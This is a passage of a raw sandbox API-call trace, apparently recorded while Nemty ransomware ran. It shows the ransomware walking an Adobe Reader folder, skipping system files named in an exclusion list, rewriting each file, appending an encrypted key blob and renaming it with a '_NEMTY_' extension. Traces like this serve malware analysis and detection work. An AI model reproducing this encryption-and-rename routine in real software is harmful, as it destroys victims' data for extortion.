RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.720] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=962) returned 1 [0193.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3c0) returned 0x6340100 [0193.720] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.720] ReadFile (in: hFile=0x254, lpBuffer=0x6340100, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesRead=0x653eb64*=0x3c0, lpOverlapped=0x0) returned 1 [0193.721] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.721] WriteFile (in: hFile=0x254, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653eb5c*=0x3c0, lpOverlapped=0x0) returned 1 [0193.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.722] SetFilePointer (in: hFile=0x254, lDistanceToMove=962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c2 [0193.722] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.722] CloseHandle (hObject=0x254) returned 1 [0193.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0193.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0193.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0193.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0193.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.722] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_same_reviewers.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_same_reviewers.gif._nemty_kgobjgd_")) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.723] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="review_shared.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2=".") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="..") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="...") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="windows") returned -1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="rsa") returned -1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="NTDETECT.COM") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="ntldr") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="MSDOS.SYS") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="IO.SYS") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="boot.ini") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="boot.ini") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="ntuser.dat") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="desktop.ini") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="CONFIG.SYS") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="RECYCLER") returned 1 [0193.723] lstrcmpiW (lpString1="review_shared.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.724] lstrcmpiW (lpString1="review_shared.gif", lpString2="bootmgr") returned 1 [0193.724] lstrcmpiW (lpString1="review_shared.gif", lpString2="programdata") returned 1 [0193.724] lstrcmpiW (lpString1="review_shared.gif", lpString2="appdata") returned 1 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_shared.gif", lpUsedDefaultChar=0x0) returned 17 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_shared.gif", lpUsedDefaultChar=0x0) returned 17 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_shared.gif", lpUsedDefaultChar=0x0) returned 17 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_shared.gif", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_shared.gif", lpUsedDefaultChar=0x0) returned 17 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.724] Sleep (dwMilliseconds=0x5) [0193.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271f18d0, dwHighDateTime=0x1d561e8)) [0193.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271f18d0, dwHighDateTime=0x1d561e8)) [0193.734] GetLastError () returned 0x0 [0193.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.734] GetLastError () returned 0x0 [0193.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.734] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.734] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.735] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.735] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.735] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="/B6CtLRCPGwCNwL0lFwqfXlEntS0kZRrphHOuM6oo5qqxn2QGXSvZT3ydnvcSh0M\r\n2KuVOJirIl+SjAtWh6L1JYC3YRqqMLALWu6YxAP950E1jXZt1659xQz/1iUZStV3\r\n8skFOhstXGAUW0go7JTOo6XeTrKlMJFWeDiF/yq5mdX4XYczVeCwMId4PUEbGyom\r\nov50FHM3gnkWzRU5lNAYgEWrK5e3NtajDExl41k2pcDu/UeK72PFcGxWGJ0bMpmJ\r\nZZI+HCJILhc0IHhJhCNPETMVOeJ/4oH3NOB8E+PKpOO4LTLrN/wYbc0p6IyhpYVp\r\nZG9B4pozZ5P/16t2SlmMyw==\r\n", pcchString=0x653e91c) returned 1 [0193.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.735] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1365) returned 1 [0193.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x550) returned 0x6340048 [0193.735] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.735] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x550, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x550, lpOverlapped=0x0) returned 1 [0193.737] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.737] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x550, lpOverlapped=0x0) returned 1 [0193.737] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.737] SetFilePointer (in: hFile=0x254, lDistanceToMove=1365, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x555 [0193.737] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.737] CloseHandle (hObject=0x254) returned 1 [0193.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.737] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.738] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.738] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_shared.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_shared.gif._nemty_kgobjgd_")) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.738] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.738] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2=".") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="..") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="...") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="windows") returned -1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="rsa") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="NTDETECT.COM") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="ntldr") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="MSDOS.SYS") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="IO.SYS") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="boot.ini") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="boot.ini") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="ntuser.dat") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="desktop.ini") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="CONFIG.SYS") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="RECYCLER") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="bootmgr") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="programdata") returned 1 [0193.739] lstrcmpiW (lpString1="rss.gif", lpString2="appdata") returned 1 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss.gif", lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss.gif", lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss.gif", lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rss.gif", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rss.gif", lpUsedDefaultChar=0x0) returned 7 [0193.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94330 [0193.739] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.739] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0193.739] Sleep (dwMilliseconds=0x5) [0193.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27217a30, dwHighDateTime=0x1d561e8)) [0193.750] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27217a30, dwHighDateTime=0x1d561e8)) [0193.750] GetLastError () returned 0x0 [0193.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.750] GetLastError () returned 0x0 [0193.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.750] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.750] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.750] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: 